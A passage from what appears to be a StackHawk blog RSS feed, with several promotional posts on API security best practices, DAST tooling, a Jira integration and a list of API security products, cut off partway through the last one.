needed to complete a specified task. Lastly, apply micro-segmentation to logically divide the data center into distinct security segments, limiting lateral movement. With these pieces in place, you’ll also want to use continuous monitoring and validation at every stage of an API call to ensure that the request is legitimate and that the user still has the right to make that request.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automate Scanning and Testing for Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;At StackHawk, this best practice hits home the most. Automated and scheduled scanning and testing for vulnerabilities helps to identify potential security issues before attackers can exploit them. By making testing part of the development lifecycle, automation can be put in place to test new pieces of code while it is running, in the case of&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;dynamic application security testing&lt;/u&gt;&lt;/a&gt; (DAST), or by statically scanning the code, like what you would see with&lt;a href=&quot;https://www.stackhawk.com/blog/dast-vs-sast/&quot;&gt; &lt;u&gt;static application security testing&lt;/u&gt;&lt;/a&gt; (SAST). This proactive measure is essential in maintaining the security posture of your API.&lt;/p&gt;&lt;p&gt;In practice, you’ll want to integrate vulnerability scanning and testing into your CI/CD pipeline using automated tools to analyze your code for known vulnerabilities. Enabling scans and tests to execute on every pull request would be the most comprehensive strategy to find issues early. Use various tools and methods such as&lt;a href=&quot;https://www.stackhawk.com/blog/dast-tools/&quot;&gt; DAST and SAST tools&lt;/a&gt; to test code for vulnerabilities at runtime, check for outdated libraries or dependencies that may contain unpatched security issues, and other security issues. Regular testing should be part of a broader strategy, including staying informed about new security threats and updating your systems accordingly.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Secure the Underlying Infrastructure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lastly, ensure that the infrastructure your services are deployed on and rely on is secure. Securing the underlying infrastructure involves safeguarding the physical and virtual environments that host your API. Weaknesses in your security framework here can lead to compromised services, data, and access protected resources API, undermining all higher-level security measures. Locking down and securing the infrastructure involves server security, network configurations, and cloud environment configurations.&lt;/p&gt;&lt;p&gt;To fortify your infrastructure, ensure that your team has a strict practice of applying regular updates and patches to your servers, enforcing strict firewall rules, and utilizing some intrusion detection systems. In cloud environments, take advantage of native security features and follow the principle of least privilege when setting up access and provisioning user accounts. Also, regularly review your infrastructure for vulnerabilities and consider employing Infrastructure as Code (IaC) for consistent and repeatable deployments, especially when moving from lower to higher environments. Securing each layer of the infrastructure stack creates a strong foundation for building and deploying secure APIs that your users can trust.&lt;/p&gt;&lt;p&gt;We have covered the most critical best practices for securing APIs. Keeping the above in mind, creating a checklist to implement each best practice correctly would be a great place to start. Of course, there may be other factors to consider depending on the types of APIs you have deployed, regulatory requirements, and other factors that make every security framework unique.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Augmenting API Security With StackHawk&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As mentioned in our breakdown of best practices, StackHawk is a pivotal tool in reinforcing some of the API security concepts outlined above. By bringing a suite of automated testing capabilities that align closely with best practices for API security, StackHawk is a dynamic application security testing (DAST) tool built for developers. The platform is easy to use, automated, and provides a best-in-class experience for developers to create secure APIs. Let’s look further at some of the benefits StackHawk brings to API developers and their teams. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automated Security Risk Tests&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk provides an automated suite to test against common and more advanced API security risks. The platform helps to identify and resolve issues like SQL Injection and Remote OS&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-command-injection/&quot;&gt; &lt;u&gt;Command Injection&lt;/u&gt;&lt;/a&gt; before deployment. This capability supports the abovementioned best practices involving regular security audits and penetration testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integration with CI/CD Pipelines&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The platform also integrates easily with CI/CD pipelines and can be set up to ensure every pull request is checked for new vulnerabilities. This ties in nicely with the best practice of testing in development to prevent shipping vulnerabilities to production.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Modern Tooling for Various API Types&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Unlike some other tools, StackHawk can support various API types for testing. The tool caters to modern application architectures by supporting REST, GraphQL, SOAP, and gRPC APIs. This helps to ensure that your entire API portfolio has blanket coverage instead of excluding API types that other tools may not support.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Efficient Vulnerability Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The most powerful outcome for developers that use StackHawk is fast detection and detailed documentation for remediation. StackHawk streamlines the process of fixing vulnerabilities and makes developers&amp;#39; lives easier and the APIs they create more secure. By making the tool developer-friendly, vulnerability management becomes easy to implement and easy for developers to utilize.&lt;/p&gt;&lt;p&gt;By incorporating StackHawk into your API development lifecycle, you can make significant progress towards maintaining a high-security standard and adherence to the best practices outlined in this guide.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As we conclude our in-depth exploration of API security, it&amp;#39;s clear that protecting our APIs is critical and complex. Throughout this guide, we&amp;#39;ve navigated the intricacies of API security, from the foundational principles drawn from the&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-owasps-top-10-vulnerabilities-explained/&quot;&gt; &lt;u&gt;OWASP API Top 10&lt;/u&gt;&lt;/a&gt; to the nuanced specifics of securing REST, GraphQL, and gRPC APIs. We capped things off with a look at the strategic best practices that can help fortify your digital defenses and reflected on the importance of each in the broader context of API security.&lt;/p&gt;&lt;p&gt;In the quest for security excellence, tools like StackHawk are indispensable. StackHawk empowers teams to augment their own API security management strategies effectively. With its automated security testing tailored for modern APIs, integration into CI/CD pipelines for early vulnerability detection, and support for a vast array of API architectures, StackHawk ensures that your security testing evolves with your APIs.&lt;/p&gt;&lt;p&gt;As you look to translate the insights from this guide into actionable security enhancements, consider taking StackHawk for a spin. Begin your journey with StackHawk by signing up for a&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;free account&lt;/u&gt;&lt;/a&gt; and taking the first step in making your APIs as secure as possible.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Seamlessly Triaging HawkScan Findings from Security in Jira]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/seamlessly-triaging-hawkscan-findings-from-security-in-jira</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Omar Alkhalili]]></dc:creator><content:encoded>&lt;p&gt;When integrating security practices into your team’s software development lifecycle, it can be challenging to manage the vulnerabilities discovered by various security tools and to stay on top of their remediation statuses. With the release of Atlassian’s Security in Jira, Jira Software users can easily manage the vulnerabilities found across their security tools in a consolidated dashboard. As one of the early security vendors selected to partner with Atlassian on this product, StackHawk has built an integration which sends scan findings to be tracked in Jira. StackHawk’s integration can be installed in Jira Software sites and is available in the &lt;a href=&quot;https://marketplace.atlassian.com/apps/1223104/stackhawk-for-jira&quot;&gt;&lt;u&gt;Atlassian Marketplace&lt;/u&gt;&lt;/a&gt;.

The latest releases from the teams at StackHawk and Atlassian enables users to triage and assign StackHawk scan result findings through issue creation in Jira. Once HawkScan findings are transmitted to Jira projects with the security feature enabled, these findings can be converted into Jira issues. Issues created for vulnerabilities in the security feature will now automatically link back to findings in the StackHawk platform.
&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Linking Jira Issues with HawkScan Findings&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In order to take advantage of this new functionality, it is necessary to install the StackHawk app in your Jira Software site and to enable the Security in Jira integration in StackHawk. It is also necessary to upgrade to the latest version (0.3.0) of the integration in order to use the issue-linking functionality. For more information on this, see &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/jira-security.html&quot;&gt;&lt;u&gt;the documentation&lt;/u&gt;&lt;/a&gt; on how to install, configure and upgrade the integration.&lt;/p&gt;&lt;p&gt;
Once the integration has been configured and scan findings are being received in Jira, click the “Create issue” button next to a vulnerability in order to create a Jira issue. This will bring up a modal that allows for creating a Jira issue. Once the fields in the modal are filled out and the issue is created, the vulnerability will display the Jira issue key in the Issues column.&lt;/p&gt;&lt;p&gt;Once this Jira issue is created, a corresponding connection will be created on the StackHawk side. Navigate to the scan findings for the most recent scan of the application and environment associated with this vulnerability. In the finding details for the vulnerability, the finding paths will show the same issue key linked from the security feature in Jira. When clicked, the arrow next to the issue key will take you directly to the issue in Jira.
&lt;/p&gt;&lt;p&gt;Once Jira issues have been linked to finding paths, the triage status of those paths will be impacted. Those paths will move from the untriaged status of “New” to a triaged status of “Assigned,” meaning that this vulnerability has been converted into an issue or bug in Jira and is ready to be picked up by the development team.

The main benefit of this functionality is that it is no longer necessary to do any duplicate work in order to track the remediation status of vulnerabilities in both StackHawk and Jira. The remediation status of vulnerabilities is automatically tracked in both platforms by creating Jira issues. StackHawk users now have the ability to use Security in Jira in order to triage vulnerabilities through issue creation rather than having to perform triage solely on the StackHawk side.&lt;b&gt;

&lt;/b&gt;Ready for more?&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/jira-security.html&quot;&gt;Read the docs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up for a free trial&lt;/a&gt;
&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Legacy DAST is Dead! Long Live Modern DAST!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/long-live-dast-evolution-of-dynamic-api-security-testing</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;It’s not uncommon for me to hear the following: “DAST is Dead&amp;#39;&amp;#39; or “We can’t use DAST because we only have APIs.” As a co-founder and Chief Security Officer for a company that is 100% focused on the business benefits of DAST, I thought it was time for me to pen my thoughts and share how Dynamic Application or as I like to refer to it lately &lt;b&gt;Dynamic API&lt;/b&gt; Security Testing (DAST) is evolving. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Downfalls of Legacy DAST&lt;/h2&gt;&lt;p&gt;Legacy DAST has been a longstanding solution for organizations. However, as the use of APIs for application development has surged and security concerns regarding APIs have intensified, traditional DAST solutions have struggled to keep up with these developments. 
&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Slow Scans&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Traditional DAST scans are notorious for their sluggishness. Part of this is caused by the first issue (testing in production) and the need for rate-limiting, but a ton of this is due to how applications are built. Decoupling the data layer and presentation layer led us to deploy Single Page Applications (SPA). DAST is terrible at SPA due to the inherent nature of how browsers are interpreting javascript code and rewriting the Document Object Model (DOM) on the fly. All of this causes assessments to stretch over hours or even days, which lacks the efficiency needed to complement the speed of development cycles of modern applications. Developers and DevOps teams require faster feedback loops to promptly identify and fix security issues.
&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Lack of API-Specific Capability&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Legacy DAST tools were primarily designed to test Web 1.0 applications. This approach worked well in the past but falls short in today’s API-driven world. These tools struggle to comprehensively test APIs, which often form the most exposed and critical part of modern applications. This leaves organizations with unaddressed security vulnerabilities in their API layers.&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Testing ONLY in Production&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Legacy DAST tools often compel organizations to perform security testing in live production environments. While this may yield valuable insights, it carries the inherent risk of disruptions and potential data breaches. The price of compromising the integrity and availability of live applications can be steep, including damage to an organization’s reputation and loss of customer trust. This often leads to scans being surface level and ineffective at testing for real vulnerabilities.

&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Benefits of Dynamic &lt;b&gt;API Security&lt;/b&gt; Testing (DAST)&lt;/h2&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Fast Testing Times&lt;/b&gt;&lt;/p&gt;&lt;p&gt;One of the standout features of Dynamic API Security Testing is its remarkable speed. These tools provide orders of magnitude faster feedback, empowering developers and DevOps teams to swiftly identify and address security issues during the development phase. This rapid turnaround time ensures that vulnerabilities are identified and resolved well before they reach production.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. API-Centric Expertise&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Unlike their predecessors, modern DAST tools are purpose-built to address the unique challenges of API security. They possess an in-depth understanding of API-specific attack vectors, authentication mechanisms, and authorization workflows. This specialized knowledge equips them to excel in securing the modern API-driven landscape.&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Logic Testing&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Modern DAST tools are excellent at testing for logic based flaws in APIs. The OWASP API Top Ten includes no less than 4 “improper authorization” issues that you can’t test for with SAST. The primary capability of DAST is to send various iterations of data to an input and check its outputs for responses that might indicate a vulnerability. This type of testing helps to prioritize what issues are the most important to fix by behaving like a user or a threat actor. 
&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Testing Before Production&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Dynamic API Security Testing aligns seamlessly with the best practice of testing security early in the development lifecycle. By catching vulnerabilities before they make their way into production, organizations can avoid the costly post-release fixes and mitigate security risks more effectively.&lt;/p&gt;&lt;p&gt;&lt;b&gt;5. Automation&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Modern DAST tools are synonymous with automation. They intelligently discover, scan, and assess APIs and web applications with minimal manual intervention. This automation streamlines the testing process, reduces human error, and accelerates the security assessment workflow.
&lt;/p&gt;&lt;p&gt;&lt;b&gt;6. Closer to the Code&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Incorporating closer proximity to the code accelerates the detection of API and application security flaws. A notable advantage of Dynamic API Security Testing lies in its exceptional speed, offering nearly instant feedback. This empowers developers and DevOps teams to promptly pinpoint and rectify security issues in the development stage. Such swift response times guarantee the resolution of vulnerabilities long before they can impact production.&lt;/p&gt;&lt;p&gt;&lt;b&gt;7. Developer-Friendly&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Modern DAST tools prioritize developer-first, promoting quicker feedback loops. They integrate seamlessly with development and CI/CD pipelines, enabling developers to incorporate security testing into their workflow. This close collaboration between developers and security teams results in more secure APIs developed faster.
&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;The rate of API-based developed applications is not slowing down. For organizations looking to scale and safeguard their applications and data more effectively, adopting a modern approach to DAST, Dynamic API Security Testing is a necessity. To learn more about StackHawk, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up for a free account&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;u&gt;schedule time to chat with our team of API security experts&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;
&lt;b&gt;Scott Gerlach is Co-Founder &amp;amp; CSO at StackHawk&lt;/b&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[5 Best API Security Solutions of 2023]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/5-best-api-security-solutions-of-2023</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Alexa Sevilla]]></dc:creator><content:encoded>&lt;p&gt;It’s no surprise to developers and their enterprises that APIs have emerged as the fundamental building block of modern applications and integration. With this massive adoption of APIs across the software development landscape, APIs have become a primary target for cyber threats and attacks. The result is that API security is no longer a mere necessity—it&amp;#39;s one of the core factors in the security of overall business operations.&lt;/p&gt;&lt;p&gt;API security is a broad term that encompasses the strategies, technologies, and practices that are used to keep APIs secure and compliant. The significance of adopting a strong API security posture is its capacity to prevent data breaches, safeguard sensitive data, and maintain service integrity. Without success in these areas, an organization&amp;#39;s survival and trustworthiness in the modern marketplace would be questioned.&lt;/p&gt;&lt;p&gt;In this blog, we&amp;#39;ll explore multiple angles regarding API security, illustrating its importance and inherent complexities. We&amp;#39;ll outline what an API security solution typically includes, provide insights on choosing the right one for your organization, and discuss the different types of API security measures that are critical for protecting your APIs. Lastly, we will look at the top 5 API security solutions of 2023. Let’s get started by looking at the basics of API security.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are the cornerstone of modern application architectures. APIs, or Application Programming Interfaces, have been around since the early days of computing. However, it was the advent of the internet and cloud computing that they really began to take off in numbers and popularity. APIs facilitate the interaction between different software applications, giving a mechanism for applications to communicate, share data, and leverage various services.&lt;/p&gt;&lt;p&gt;Historically, as enterprises began to expose their services over the web, they did so via APIs. This led to a massive increase in the amounts of APIs available as companies worked to make services more widely available internally and externally. Then, with the proliferation of mobile apps, cloud services, and IoT devices, APIs have further expanded their footprint. With each of these expansions in API availability came an increased risk of exposure to malicious activities. &lt;/p&gt;&lt;p&gt;To combat these potential security issues, API security began as a set of best practices. At the most basic level, this included practices such as adding basic authentication and authorization techniques. However, as the threats grew more sophisticated, so did the best practices. Eventually, the need for comprehensive API security solutions became evident to support these standards.&lt;/p&gt;&lt;p&gt;API security, at its core, is about ensuring that interactions with APIs are secure, authenticated, and performed as intended. At a basic level, API security involves several components:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication&lt;/b&gt; ensures that the entity requesting access to the API is who it claims to be. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authorization&lt;/b&gt; dictates what an authenticated entity is allowed to do.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Encryption&lt;/b&gt; protects data in transit from eavesdropping or tampering. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation&lt;/b&gt; ensures that the API can reject improperly formatted data, which could otherwise lead to SQL injection or other attacks stemming from input.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rate Limiting&lt;/b&gt; prevents abuse of APIs by limiting how many requests an entity can make in a given timeframe.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Within API security, it&amp;#39;s clear that threats continue to evolve and require constant attention to stay on top of. Modern API security solutions must anticipate and defend against various attacks outlined in the OWASP API Security Top 10, including&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Man-in-the-Middle (MitM) Attacks&lt;/b&gt;, where an attacker intercepts communications between the client and the API to eavesdrop or alter the data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Injection Attacks&lt;/b&gt;, such as SQL injection, where an attacker sends malicious input to the API, tricking it into executing unintended commands.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken Authentication and Session Management&lt;/b&gt;, where poor handling of user sessions and credentials can lead to unauthorized access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Insecure Direct Object References (IDOR)&lt;/b&gt;, allowing an attacker to access objects, such as files or databases, directly through the API.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Misconfiguration&lt;/b&gt;, which can occur at any level of the API stack, from the network services to the application layer, exposing vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With the basics of API security outlined and some potential attacks that could be executed covered, it’s time to dig deeper into the solutions to combat API-based attacks. Next, let’s take a look at the various API security solutions that are available.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is an API Security Solution?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security solutions are a comprehensive set of security measures specifically designed to protect the integrity, availability, and confidentiality of APIs. Some solutions cover various aspects, while others are more honed to cover a single aspect extremely well. The core functions of an API security solution typically align with one or more key areas of API security. Let’s take a look at a few types of API security solutions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Dynamic Security Scanning and Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Modern tools like StackHawk provide dynamic application security testing (DAST) capabilities. These tools allow developers to actively test and find security vulnerabilities within their APIs during the development cycle. This is crucial for ensuring that any security issues can be addressed before the API is deployed into a production environment.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Protection Against DDoS and Automated Threats&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Solutions like Akamai utilize extensive networks and advanced algorithms to protect against Distributed Denial of Service (DDoS) attacks and automated threats. This type of tool is required to ensure that APIs remain available and responsive even under attack.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Vulnerability Management for Open-Source Libraries&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Given the reliance on open-source software in API development, tools like Snyk can scan for vulnerabilities within these libraries, on top of other functionalities. The platforms detect vulnerabilities and then provide insights and patches to fix them, securing the foundation on which the APIs are built.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Holistic API Protection Platforms&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Some platforms aim to offer protection from multiple angles. For example, Noname Security represents a class of solutions that offer holistic protection. These platforms perform real-time traffic analysis, detect and prevent API abuses, and ensure compliance with security policies and regulations.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;AI-Driven Security Measures&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;SALT Security uses artificial intelligence to learn from API traffic and interactions continuously. This allows the tool to identify and mitigate potential threats, including zero-day vulnerabilities that traditional security measures might overlook.&lt;/p&gt;&lt;p&gt;Of course, these are just a few categories within the API security solution category. As we discuss the top 5 API security solutions, remember that each brings unique strengths and often serves complementary roles within a comprehensive API security strategy. Most companies will use a mix of these tools to create their API security stack. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Choose an API Security Solution&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Choosing the right API security solutions to implement is a pivotal decision that requires a strategic approach. Given the vast amount of options available, it&amp;#39;s crucial to select tools that not only address current security needs but are also adaptable to handle future challenges and vulnerabilities. Let’s now take a look at some considerations when it comes to choosing the right tools for your use case.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Assess Your API Landscape&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;First, you should start by understanding your API footprint. Based on the technologies you are using, such as REST, GraphQL, or gRPC, this will help to determine which tools you can use. For instance, a tool like StackHawk is flexible enough to provide testing coverage for multiple types of APIs. Knowing what technologies are being used within your APIs is a crucial first step to determining the applicable tools.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Identify Your Security Requirements&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Next, you’ll need to determine the specific security needs of your APIs. This will depend on factors such as whether the APIs are internal or external and the language/framework the APIs are built with. Specific languages may have inherent vulnerabilities that might be more easily detected and remedied by specific tools. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integration with Existing Systems&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Optimally, The API security tool should integrate seamlessly with your current infrastructure. If you&amp;#39;re using CI/CD pipelines for development, you’ll want to find tools that can be configured to run automatically within such an environment. Aim for a tool that does not require infrastructure or process changes to accommodate it.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Regulatory Compliance&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Depending on whether your business must comply with any regulatory standards; you’ll want to ensure that the tool helps you comply with relevant regulations. If you’re using a SaaS tool, you’ll also want to ensure the platform complies with your standards (such as SOC II compliance). For instance, if you&amp;#39;re dealing with healthcare data, HIPAA compliance would be a priority. For this, you’d want to find a tool that can assist with data protection and access controls.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Performance and Scalability&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;You’ll also need to keep performance and scalability in check. Tools that take a more active role in security, such as real-time monitoring, should not impede API performance or the API&amp;#39;s ability to scale. Look for a tool with scalability that can adapt as your API traffic grows.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Ease of Use and Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;For the sake of the developers and teams using the tool, the solution should be user-friendly. This includes ensuring the tool does not require extensive training to configure, use, and manage. Tools that offer intuitive dashboards and alerts can simplify the task of monitoring API security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Vendor Reputation and Support&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;With the vast array of tools available, it also makes sense to research the vendor&amp;#39;s track record. Look for user testimonials, case studies, or reviews that indicate the reliability and effectiveness of their solution. Preferably, look for info that reflects your use case, paying attention to any issues that are called out. You’ll also want to evaluate the support services they offer, including if good or bad remarks about it are mentioned in a review or testimonial.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cost Considerations&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lastly, and sometimes most importantly, consider the cost of ownership for the tool. Some tools might offer basic protection at a lower cost, but you may need more advanced features as your API landscape matures. You’ll want to ensure that the tool brings a sufficient return on investment, balancing the cost of the tool against the benefits it provides.&lt;/p&gt;&lt;p&gt;By carefully evaluating these factors, developers and organizations can make an informed decision on whether the tools they plan to use will work. Making sure that tools align with their security posture, regulatory needs, and operational requirements helps to ensure the chosen API security solution is a good fit for their environment and use case.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What are the Types of API Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Before we get into the tools, we should take a deeper look at the different types of API security. API security is a comprehensive term that includes various practices and mechanisms to protect the integrity, confidentiality, and reliability of APIs. Below are some of the critical types of security that should be applied to APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authentication&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Authentication verifies the identity of a user or service requesting access to an API. It&amp;#39;s the first line of defense, determining whether a user is who they claim to be. Having an authentication mechanism in place prevents unauthorized access, ensuring that only validated users can interact with your API endpoints.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Once a user is authenticated, authorization determines what they can do and what endpoints they can access. It&amp;#39;s about granting appropriate access levels and permissions to authenticated users. Effective authorization ensures users can only perform actions that align with their permissions, which is crucial for maintaining data integrity and privacy.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encryption&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Encryption secures data in transit and at rest, making it unreadable in its encrypted state. This helps to protect sensitive information from interceptors. Encryption while data is in transit and at rest is vital for protecting data confidentiality and preventing breaches. Most API consumers will want to know what encryption mechanisms are in place since it is critical for user trust and legal compliance.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rate Limiting and Quotas&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Rate limiting and quotas control the number of API requests a user can make in a given period. This helps to manage API traffic and helps to prevent abuse, which may be intentional, such as a Denial of Service attack, or unintentional, such as an unintentional recursive API call in the code. Rate limiting is a frontline measure for preventing service outages caused by intentional attacks or unintentional traffic surges.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Input Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Input validation checks user input against a set of rules before processing, ensuring only expected and adequately formatted data is accepted. Input validation is crucial for preventing many different types of attacks, such as SQL injection, that exploit input vulnerabilities. Many languages and frameworks have best practices, sometimes baked in, to ensure that input validation and sanitization are handled correctly.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Misconfiguration Protection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This type of security addresses vulnerabilities that arise from insecure default configurations or incomplete setups. This could happen at the infrastructure layer or even in the code. Addressing security misconfigurations closes gaps that attackers often exploit, which can prevent data leaks and unauthorized access.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automated Threat Detection and Response&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This involves real-time monitoring of API traffic to identify and mitigate threats as they occur. API traffic is automatically monitored and assessed, more commonly through AI, to check for potential issues. Quick detection and response limit the damage from any attacks being executed, reducing potential downtime and preserving data integrity.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Gateway Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another type of API security is introducing an API gateway or API management tool. The gateway is an additional layer between an API client and your APIs, enforcing security policies. API gateways centralize security management, reduce complexity, and offer an additional layer of defense. Popular API gateways include Kong, AWS API Gateway, and Tyk.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automated Security Scanning and Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;With automated scanning and API security testing, your code and running application can be scanned for potential vulnerabilities that stem from any of the above factors. For instance, a static code analysis tool, such as Snyk, can help to look directly at the code to see if any vulnerabilities are present. With a dynamic application security testing tool like StackHawk, the running application can be tested for vulnerabilities that can actually be exploited. Using automated testing like this can help uncover issues with authentication, authorization, injection/input validation issues, etc.&lt;/p&gt;&lt;p&gt;Each type of API security plays a role in a layered defense strategy, ensuring comprehensive protection. Implementing a combination of these types creates a robust security framework that can adapt to emerging threats and protect an organization&amp;#39;s data and APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The 5 Best API Security Solutions of 2023&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that we have covered the various API security solutions, it’s time to look at five of the best and most popular available tools. In the rapidly evolving landscape of API security, several solutions stand out for their innovative approach to API security. Let&amp;#39;s look below at the top five API security tools of 2023.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The first tool we will look at is Stackhawk, a dynamic application security testing (DAST) solution that empowers developers to find and fix security vulnerabilities. StackHawk enables users to test their APIs and web applications automatically right from the beginning of the development process. For example, a company can integrate StackHawk into its CI/CD pipeline to automatically test APIs after each deployment. This ensures that vulnerabilities in the running application are caught and remedied before they reach production.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Benefits of 